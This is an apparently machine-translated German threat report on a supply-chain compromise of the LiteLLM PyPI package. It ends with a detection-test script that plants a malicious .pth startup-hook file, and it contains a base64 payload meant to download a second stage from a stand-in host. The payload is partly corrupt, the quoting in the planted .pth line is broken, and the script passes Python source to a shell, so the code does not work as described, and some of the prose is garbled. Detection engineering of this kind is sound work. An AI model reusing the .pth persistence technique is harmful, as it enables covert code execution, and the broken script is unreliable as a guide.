Ihr AI-Gateway war eine Hintertür: Im Inneren des LiteLLM-Lieferkettenkompromisses

Zusammenfassung

Ein Lieferkettenangriff traf das weit verbreitete Python-Paket LiteLLM auf PyPI. Bösartige Releases 1.82.7 und 1.82.8 lieferten eine dreistufige Nutzlast, die darauf ausgelegt war, Cloud-Anmeldeinformationen, SSH-Schlüssel und Kubernetes-Geheimnisse zu stehlen, dann innerhalb der Cluster zu pivotieren und ein dauerhaftes Hintertürchen zu etablieren. Die Aktivität wird der kriminellen Gruppe TeamPCP zugeschrieben und scheint mit früheren Kompromittierungen in Verbindung zu stehen, an denen Sicherheitstools wie Trivy und Checkmarx beteiligt waren.

Untersuchung

Ermittler verknüpften die Eindringkette mit einer kompromittierten Trivy-GitHub-Aktion, die ein persönliches Zugriffstoken offenlegte, was das erzwungene Pushen infizierter LiteLLM-Versionen auf PyPI ermöglichte. Code-Review deckte einen geschichteten, stark auf Base64 setzenden Python-Loader auf, der RSA-4096 und AES-256 zur geschützten Staging und Exfiltration auf angreifergesteuerte Domänen verwendete. Die Nutzlast erstellte außerdem Kubernetes-Pods, um auf das Dateisystem des Hosts zuzugreifen und die Sammlung auszuweiten. Wiederverwendete Infrastruktur über PyPI, npm, Docker Hub, GitHub Actions und OpenVSX deutete auf eine koordinierte, multiökosystemische Kampagne hin, statt auf ein isoliertes Paket-Hijacking.

Minderung

Blockieren Sie die identifizierten bösartigen Domains, ändern Sie alle potenziell offengelegten Anmeldeinformationen und entfernen Sie LiteLLM_init.pth-Artefakte. Suchen Sie nach Persistenz durch die sysmon.service systemd-Benutzereinheit und untersuchen Sie unerwartete .pth-Dateierstellungen. Reduzieren Sie die Lieferkettenexposition, indem Sie hash-verifizierte Installationen erzwingen, unüberprüfte Post-Install-Bedingungen begrenzen oder verbieten und Egress-Filterung anwenden. Wo möglich, fügen Sie JARM-Fingerabdrucküberwachung hinzu, um Traffic im Zusammenhang mit bekannten kugelsicheren Hosting-ASNs zu melden.

Reaktion

Wenn ein Kompromiss vermutet wird, isolieren Sie betroffene Systeme, beenden Sie bösartige Python-Prozesse und entfernen Sie die trojanisierten LiteLLM-Pakete zusammen mit allen Persistenzdateien. Drehen Sie alle gesammelten Geheimnisse sofort um, wobei Cloud-Anmeldedaten und LLM API-Schlüssel Priorität haben. Setzen Sie Erkennungen für Base64-kodierte Python-Ausführungsketten, .pth-Datei-Drops und anomale HTTPS-POST-Aktivitäten zu models.litellm.cloud oder checkmarx.zone ein.

Schlüsselwörter: LiteLLM, Lieferkettenangriff, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, Kubernetes-Geheimnisse, .pth-Persistenz, Anmeldediebstahl, RSA-4096, AES-256, Egress-Filterung, JARM-Fingerabdruckerkennung.

Simulation Ausführung

Voraussetzung: Die Telemetrie & Baseline Pre‑flight Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Detektionslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffsbericht & Befehle:
  Ein Angreifer, der die Öffentlichkeit kompromittiert hat LiteLLM PyPI-Paket injiziert ein bösartiges .pth Datei namens LiteLLM_init.pth. Die Datei wird im globalen site-packages-Verzeichnis platziert, wodurch sichergestellt wird, dass sie jedes Mal verarbeitet wird, wenn any der Python-Interpreter startet. Der .pth enthält eine einzelne Zeile, die eine base64-kodierte Nutzlast über subprocess.Popenausführt. Die Nutzlast lädt ein zweistufiges Tool von einem C2-Server über HTTPS herunter (T1071.001) und schreibt gestohlene Anmeldeinformationen in /tmp/creds.txt (T1552.*). Durch die Verwendung des Interpreters-Start-Hooks erreicht der Angreifer Persistenz, ohne Systemd-Einheiten zu modifizieren, und umgeht viele traditionelle Prozess-Erstellungsgrundlinien.

  Die simulierten Schritte sind:

  1. Erstellen Sie die bösartige .pth Datei mit eingebetteten Python-Code.
  2. Lösen Sie den Python-Interpreter-Start aus (z.B. python3 -c "import sys"), was dazu führt, dass die .pth ausgeführt wird.
  3. Der eingebettete Code dekodiert die base64-Nutzlast und startet sie mit subprocess.Popen, wodurch ein Prozess generiert wird, dessen Befehlszeile sowohl LiteLLM_init.pth (vom Interpreter-Importpfad) als auch subprocess.Popen.

• Regressionstestskript:
  Das untenstehende Skript automatisiert die gesamte Angriffssimulation auf dem Ubuntu-Testhost.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---------- 1. Erstellen der bösartigen .pth Nutzlast ----------
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHuwcm9jZXNzLnBvcGVuKG5hbWU9c291cmNlLCBzaGVsbF9wYXRoPSIvYmluP2Nob3ciLCBjbGFzcz1mdW5jdGlvbigpIHt9KXNzZXRlcnQmQ2xvcmVkKHNzZXQpfSk="
  # Das obenstehende dekodiert zu einem kleinen Python-Skript, das eine zweistufige Nutzlast herunterladen würde.
  # Für die Sicherheit in einer Testumgebung ersetzen wir es durch ein harmloses Echo-Kommando.
  PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo bösartig ausgeführt >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
  
  # Schreiben der .pth-Datei – die Zeile wird beim Start des Interpreters als Python-Code ausgeführt
  echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
  
  echo "[+] Bösartige .pth-Datei erstellt bei ${MALICIOUS_PTH_PATH}"
  
  # ---------- 2. Auslösen des Start des Interpreters (generiert Telemetrie) ----------
  echo "[+] Python-Interpreter zwingen die .pth zu laden..."
  python3 -c "import sys; print('auslösen')"
  
  # ---------- 3. Überprüfen, dass die Nutzlast ausgeführt wurde ----------
  if grep -q "bösartig ausgeführt" /tmp/malicious.log; then
    echo "[+] Nutzlast erfolgreich ausgeführt – Erkennung sollte anschlagen."
  else
    echo "[-] Nutzlast wurde NICHT ausgeführt – Überprüfen Sie die Platzierung und Berechtigungen der .pth."
  fi

• Bereinigungskommandos:

  #!/usr/bin/env bash
  set -euo pipefail
  
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  
  # Entfernen der bösartigen .pth-Datei
  if sudo test -f "${MALICIOUS_PTH_PATH}"; then
      sudo rm -f "${MALICIOUS_PTH_PATH}"
      echo "[+] Bösartige .pth-Datei entfernt."
  fi
  
  # Löschen der Beweisdaten-Datei, die von der Nutzlast erstellt wurde
  if test -f "/tmp/malicious.log"; then
      sudo rm -f "/tmp/malicious.log"
      echo "[+] /tmp/malicious.log bereinigt."
  fi
  
  # Entfernen der Auditregel (falls Sie eine dedizierte Testrichtlinie hinzugefügt haben)
  # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation